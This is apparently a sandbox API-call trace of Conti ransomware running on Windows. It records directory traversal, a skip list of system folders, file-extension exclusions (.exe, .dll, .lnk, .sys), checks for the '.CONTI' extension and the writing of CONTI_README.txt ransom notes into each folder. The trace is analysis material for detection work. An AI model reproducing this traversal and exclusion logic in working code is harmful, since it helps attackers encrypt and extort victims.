	[0106.534] FindNextFileW (in: hFindFile=0x17c85f0, lpFindFileData=0x5c3eef0 | out: lpFindFileData=0x5c3eef0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1854d2, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1854d2, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x53578ef1, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c3f18c, dwReserved1=0xb6884, cFileName="..", cAlternateFileName="")) returned 1
	[0106.534] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0106.534] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0106.534] FindNextFileW (in: hFindFile=0x17c85f0, lpFindFileData=0x5c3eef0 | out: lpFindFileData=0x5c3eef0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53578ef1, ftCreationTime.dwHighDateTime=0x1d5dfd1, ftLastAccessTime.dwLowDateTime=0x53578ef1, ftLastAccessTime.dwHighDateTime=0x1d5dfd1, ftLastWriteTime.dwLowDateTime=0x53578ef1, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0xa2, dwReserved0=0x5c3f18c, dwReserved1=0xb6884, cFileName="CONTI_README.txt", cAlternateFileName="CONTI_~1.TXT")) returned 1
	[0106.534] lstrcmpiW (lpString1="CONTI_README.txt", lpString2=".") returned 1
	[0106.534] lstrcmpiW (lpString1="CONTI_README.txt", lpString2="..") returned 1
	[0106.534] StrStrIW (lpFirst="CONTI_README.txt", lpSrch=".CONTI") returned 0x0
	[0106.534] StrStrIW (lpFirst="CONTI_README.txt", lpSrch="CONTI_README.txt") returned="CONTI_README.txt"
	[0106.534] FindNextFileW (in: hFindFile=0x17c85f0, lpFindFileData=0x5c3eef0 | out: lpFindFileData=0x5c3eef0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1854d2, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1854d2, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1854d2, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c3f18c, dwReserved1=0xb6884, cFileName="RunTime", cAlternateFileName="")) returned 1
	[0106.534] lstrcmpiW (lpString1="RunTime", lpString2=".") returned 1
	[0106.534] lstrcmpiW (lpString1="RunTime", lpString2="..") returned 1
	[0106.534] lstrcmpiW (lpString1="RunTime", lpString2="tmp") returned -1
	[0106.534] lstrcmpiW (lpString1="RunTime", lpString2="winnt") returned -1
	[0106.534] lstrcmpiW (lpString1="RunTime", lpString2="Application Data") returned 1
	[0106.534] lstrcmpiW (lpString1="RunTime", lpString2="AppData") returned 1
	[0106.534] lstrcmpiW (lpString1="RunTime", lpString2="temp") returned -1
	[0106.534] lstrcmpiW (lpString1="RunTime", lpString2="thumb") returned -1
	[0106.534] lstrcmpiW (lpString1="RunTime", lpString2="$Recycle.Bin") returned 1
	[0106.534] lstrcmpiW (lpString1="RunTime", lpString2="$RECYCLE.BIN") returned 1
	[0106.534] lstrcmpiW (lpString1="RunTime", lpString2="System Volume Information") returned -1
	[0106.534] lstrcmpiW (lpString1="RunTime", lpString2="Program Files") returned 1
	[0106.534] lstrcmpiW (lpString1="RunTime", lpString2="Program Files (x86)") returned 1
	[0106.534] lstrcmpiW (lpString1="RunTime", lpString2="Boot") returned 1
	[0106.534] lstrcmpiW (lpString1="RunTime", lpString2="Windows") returned -1
	[0106.534] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\Prov") returned 81
	[0106.534] lstrlenW (lpString="RunTime") returned 7
	[0106.534] GetProcessHeap () returned 0x1720000
	[0106.534] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0xb4) returned 0x17c6c78
	[0106.534] lstrcpyW (in: lpString1=0x17c6c78, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\Prov" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\Prov") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\Prov"
	[0106.535] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\Prov", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\Prov\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\Prov\\"
	[0106.535] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\Prov\\", lpString2="RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\Prov\\RunTime"
	[0106.535] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\Prov\\RunTime") returned 89
	[0106.535] GetProcessHeap () returned 0x1720000
	[0106.535] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0xb8) returned 0x17c61b0
	[0106.535] lstrcpyW (in: lpString1=0x17c61b0, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\Prov\\RunTime"
	[0106.535] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\Prov\\RunTime", lpString2="\\*" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\Prov\\RunTime\\*") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\Prov\\RunTime\\*"
	[0106.535] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\Prov\\RunTime") returned 89
	[0106.535] lstrlenW (lpString="CONTI_README.txt") returned 16
	[0106.535] GetProcessHeap () returned 0x1720000
	[0106.535] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0xd6) returned 0x17c3778
	[0106.535] lstrcpyW (in: lpString1=0x17c3778, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\Prov\\RunTime"
	[0106.535] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\Prov\\RunTime\\"
	[0106.535] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\Prov\\RunTime\\", lpString2="CONTI_README.txt" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\Prov\\RunTime\\CONTI_README.txt") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\Prov\\RunTime\\CONTI_README.txt"
	[0106.535] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\Prov\\RunTime\\CONTI_README.txt" (normalized: "c:\\programdata\\microsoft\\provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\prov\\runtime\\conti_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398
	[0106.535] GetProcessHeap () returned 0x1720000
	[0106.535] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c3778 | out: hHeap=0x1720000) returned 1
	[0106.535] WriteFile (in: hFile=0x398, lpBuffer=0xba0d0*, nNumberOfBytesToWrite=0xa2, lpNumberOfBytesWritten=0x5c3ec5c, lpOverlapped=0x0 | out: lpBuffer=0xba0d0*, lpNumberOfBytesWritten=0x5c3ec5c*=0xa2, lpOverlapped=0x0) returned 1
	[0106.536] CloseHandle (hObject=0x398) returned 1
	[0106.536] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\Prov\\RunTime\\*", lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1854d2, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1854d2, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x53578ef1, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName=".", cAlternateFileName="")) returned 0x17c8270
	[0106.536] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0106.536] FindNextFileW (in: hFindFile=0x17c8270, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1854d2, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1854d2, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x53578ef1, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="..", cAlternateFileName="")) returned 1
	[0106.536] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0106.537] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0106.537] FindNextFileW (in: hFindFile=0x17c8270, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53ecd6b4, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53ecd6b4, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53ecd6b4, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x1cf, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="0__Power_EnergyEstimationEngine.provxml", cAlternateFileName="")) returned 1
	[0106.537] lstrcmpiW (lpString1="0__Power_EnergyEstimationEngine.provxml", lpString2=".") returned 1
	[0106.537] lstrcmpiW (lpString1="0__Power_EnergyEstimationEngine.provxml", lpString2="..") returned 1
	[0106.537] StrStrIW (lpFirst="0__Power_EnergyEstimationEngine.provxml", lpSrch=".CONTI") returned 0x0
	[0106.537] StrStrIW (lpFirst="0__Power_EnergyEstimationEngine.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0106.537] StrStrIW (lpFirst="0__Power_EnergyEstimationEngine.provxml", lpSrch=".exe") returned 0x0
	[0106.537] StrStrIW (lpFirst="0__Power_EnergyEstimationEngine.provxml", lpSrch=".dll") returned 0x0
	[0106.537] StrStrIW (lpFirst="0__Power_EnergyEstimationEngine.provxml", lpSrch=".lnk") returned 0x0
	[0106.537] StrStrIW (lpFirst="0__Power_EnergyEstimationEngine.provxml", lpSrch=".sys") returned 0x0
	[0106.537] StrStrIW (lpFirst="0__Power_EnergyEstimationEngine.provxml", lpSrch=".CONTI") returned 0x0
	[0106.537] StrStrIW (lpFirst="0__Power_EnergyEstimationEngine.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0106.537] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\Prov\\RunTime") returned 89
	[0106.537] lstrlenW (lpString="0__Power_EnergyEstimationEngine.provxml") returned 39
	[0106.537] GetProcessHeap () returned 0x1720000
	[0106.537] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x104) returned 0x181e140
	[0106.537] lstrcpyW (in: lpString1=0x181e140, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\Prov\\RunTime"
	[0106.537] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\Prov\\RunTime\\"
	[0106.537] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\Prov\\RunTime\\", lpString2="0__Power_EnergyEstimationEngine.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\Prov\\RunTime\\0__Power_EnergyEstimationEngine.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\Prov\\RunTime\\0__Power_EnergyEstimationEngine.provxml"
	[0106.537] FindNextFileW (in: hFindFile=0x17c8270, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53578ef1, ftCreationTime.dwHighDateTime=0x1d5dfd1, ftLastAccessTime.dwLowDateTime=0x53578ef1, ftLastAccessTime.dwHighDateTime=0x1d5dfd1, ftLastWriteTime.dwLowDateTime=0x53578ef1, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0xa2, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="CONTI_README.txt", cAlternateFileName="CONTI_~1.TXT")) returned 1
	[0106.537] lstrcmpiW (lpString1="CONTI_README.txt", lpString2=".") returned 1
	[0106.537] lstrcmpiW (lpString1="CONTI_README.txt", lpString2="..") returned 1
	[0106.537] StrStrIW (lpFirst="CONTI_README.txt", lpSrch=".CONTI") returned 0x0
	[0106.537] StrStrIW (lpFirst="CONTI_README.txt", lpSrch="CONTI_README.txt") returned="CONTI_README.txt"
	[0106.537] FindNextFileW (in: hFindFile=0x17c8270, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53578ef1, ftCreationTime.dwHighDateTime=0x1d5dfd1, ftLastAccessTime.dwLowDateTime=0x53578ef1, ftLastAccessTime.dwHighDateTime=0x1d5dfd1, ftLastWriteTime.dwLowDateTime=0x53578ef1, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0xa2, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="CONTI_README.txt", cAlternateFileName="CONTI_~1.TXT")) returned 0
	[0106.537] GetProcessHeap () returned 0x1720000
	[0106.537] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c61b0 | out: hHeap=0x1720000) returned 1
	[0106.537] FindClose (in: hFindFile=0x17c8270 | out: hFindFile=0x17c8270) returned 1
	[0106.537] GetProcessHeap () returned 0x1720000
	[0106.537] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c6c78 | out: hHeap=0x1720000) returned 1
	[0106.537] FindNextFileW (in: hFindFile=0x17c85f0, lpFindFileData=0x5c3eef0 | out: lpFindFileData=0x5c3eef0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53ef390d, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53ef390d, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53ef390d, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x102, dwReserved0=0x5c3f18c, dwReserved1=0xb6884, cFileName="RunTime.xml", cAlternateFileName="")) returned 1
	[0106.537] lstrcmpiW (lpString1="RunTime.xml", lpString2=".") returned 1
	[0106.538] lstrcmpiW (lpString1="RunTime.xml", lpString2="..") returned 1
	[0106.538] StrStrIW (lpFirst="RunTime.xml", lpSrch=".CONTI") returned 0x0
	[0106.538] StrStrIW (lpFirst="RunTime.xml", lpSrch="CONTI_README.txt") returned 0x0
	[0106.538] StrStrIW (lpFirst="RunTime.xml", lpSrch=".exe") returned 0x0
	[0106.538] StrStrIW (lpFirst="RunTime.xml", lpSrch=".dll") returned 0x0
	[0106.538] StrStrIW (lpFirst="RunTime.xml", lpSrch=".lnk") returned 0x0
	[0106.538] StrStrIW (lpFirst="RunTime.xml", lpSrch=".sys") returned 0x0
	[0106.538] StrStrIW (lpFirst="RunTime.xml", lpSrch=".CONTI") returned 0x0
	[0106.538] StrStrIW (lpFirst="RunTime.xml", lpSrch="CONTI_README.txt") returned 0x0
	[0106.538] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\Prov") returned 81
	[0106.538] lstrlenW (lpString="RunTime.xml") returned 11
	[0106.538] GetProcessHeap () returned 0x1720000
	[0106.538] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0xbc) returned 0x6511400
	[0106.538] lstrcpyW (in: lpString1=0x6511400, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\Prov" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\Prov") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\Prov"
	[0106.538] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\Prov", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\Prov\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\Prov\\"
	[0106.538] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\Prov\\", lpString2="RunTime.xml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\Prov\\RunTime.xml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\Prov\\RunTime.xml"
	[0106.538] FindNextFileW (in: hFindFile=0x17c85f0, lpFindFileData=0x5c3eef0 | out: lpFindFileData=0x5c3eef0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53ef390d, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53ef390d, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53ef390d, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x102, dwReserved0=0x5c3f18c, dwReserved1=0xb6884, cFileName="RunTime.xml", cAlternateFileName="")) returned 0
	[0106.538] GetProcessHeap () returned 0x1720000
	[0106.538] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6586750 | out: hHeap=0x1720000) returned 1
	[0106.538] FindClose (in: hFindFile=0x17c85f0 | out: hFindFile=0x17c85f0) returned 1
	[0106.538] GetProcessHeap () returned 0x1720000
	[0106.538] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x1732cc0 | out: hHeap=0x1720000) returned 1
	[0106.538] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3f160 | out: lpFindFileData=0x5c3f160*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1854d2, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1854d2, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1854d2, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c3f3fc, dwReserved1=0xb6884, cFileName="Prov", cAlternateFileName="")) returned 0
	[0106.538] GetProcessHeap () returned 0x1720000
	[0106.538] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x173e6c0 | out: hHeap=0x1720000) returned 1
	[0106.538] FindClose (in: hFindFile=0x17c8470 | out: hFindFile=0x17c8470) returned 1
	[0106.538] GetProcessHeap () returned 0x1720000
	[0106.538] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x173e618 | out: hHeap=0x1720000) returned 1
	[0106.538] FindNextFileW (in: hFindFile=0x17c8570, lpFindFileData=0x5c3f3d0 | out: lpFindFileData=0x5c3f3d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1ab71b, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1ab71b, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1ab71b, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c3f66c, dwReserved1=0xb6884, cFileName="{8fb7d64e-70fc-4f9d-89ee-d486817534df}", cAlternateFileName="{8FB7D~1")) returned 1
	[0106.538] lstrcmpiW (lpString1="{8fb7d64e-70fc-4f9d-89ee-d486817534df}", lpString2=".") returned 1
	[0106.538] lstrcmpiW (lpString1="{8fb7d64e-70fc-4f9d-89ee-d486817534df}", lpString2="..") returned 1
	[0106.538] lstrcmpiW (lpString1="{8fb7d64e-70fc-4f9d-89ee-d486817534df}", lpString2="tmp") returned -1
	[0106.538] lstrcmpiW (lpString1="{8fb7d64e-70fc-4f9d-89ee-d486817534df}", lpString2="winnt") returned -1
	[0106.539] lstrcmpiW (lpString1="{8fb7d64e-70fc-4f9d-89ee-d486817534df}", lpString2="Application Data") returned -1
	[0106.539] lstrcmpiW (lpString1="{8fb7d64e-70fc-4f9d-89ee-d486817534df}", lpString2="AppData") returned -1
	[0106.539] lstrcmpiW (lpString1="{8fb7d64e-70fc-4f9d-89ee-d486817534df}", lpString2="temp") returned -1
	[0106.539] lstrcmpiW (lpString1="{8fb7d64e-70fc-4f9d-89ee-d486817534df}", lpString2="thumb") returned -1
	[0106.539] lstrcmpiW (lpString1="{8fb7d64e-70fc-4f9d-89ee-d486817534df}", lpString2="$Recycle.Bin") returned 1
	[0106.539] lstrcmpiW (lpString1="{8fb7d64e-70fc-4f9d-89ee-d486817534df}", lpString2="$RECYCLE.BIN") returned 1
	[0106.539] lstrcmpiW (lpString1="{8fb7d64e-70fc-4f9d-89ee-d486817534df}", lpString2="System Volume Information") returned -1
	[0106.539] lstrcmpiW (lpString1="{8fb7d64e-70fc-4f9d-89ee-d486817534df}", lpString2="Program Files") returned -1
	[0106.539] lstrcmpiW (lpString1="{8fb7d64e-70fc-4f9d-89ee-d486817534df}", lpString2="Program Files (x86)") returned -1
	[0106.539] lstrcmpiW (lpString1="{8fb7d64e-70fc-4f9d-89ee-d486817534df}", lpString2="Boot") returned -1
	[0106.539] lstrcmpiW (lpString1="{8fb7d64e-70fc-4f9d-89ee-d486817534df}", lpString2="Windows") returned -1
	[0106.539] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning") returned 37
	[0106.539] lstrlenW (lpString="{8fb7d64e-70fc-4f9d-89ee-d486817534df}") returned 38
	[0106.539] GetProcessHeap () returned 0x1720000
	[0106.539] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x9a) returned 0x173ed50
	[0106.539] lstrcpyW (in: lpString1=0x173ed50, lpString2="C:\\ProgramData\\Microsoft\\Provisioning" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning") returned="C:\\ProgramData\\Microsoft\\Provisioning"
	[0106.539] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\"
	[0106.539] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\", lpString2="{8fb7d64e-70fc-4f9d-89ee-d486817534df}" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}"
	[0106.539] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}") returned 76
	[0106.539] GetProcessHeap () returned 0x1720000
	[0106.539] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x9e) returned 0x173ef48
	[0106.539] lstrcpyW (in: lpString1=0x173ef48, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}"
	[0106.539] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}", lpString2="\\*" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\*") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\*"
	[0106.539] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}") returned 76
	[0106.539] lstrlenW (lpString="CONTI_README.txt") returned 16
	[0106.539] GetProcessHeap () returned 0x1720000
	[0106.539] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0xbc) returned 0x65118b0
	[0106.539] lstrcpyW (in: lpString1=0x65118b0, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}"
	[0106.539] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\"
	[0106.539] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\", lpString2="CONTI_README.txt" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\CONTI_README.txt") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\CONTI_README.txt"
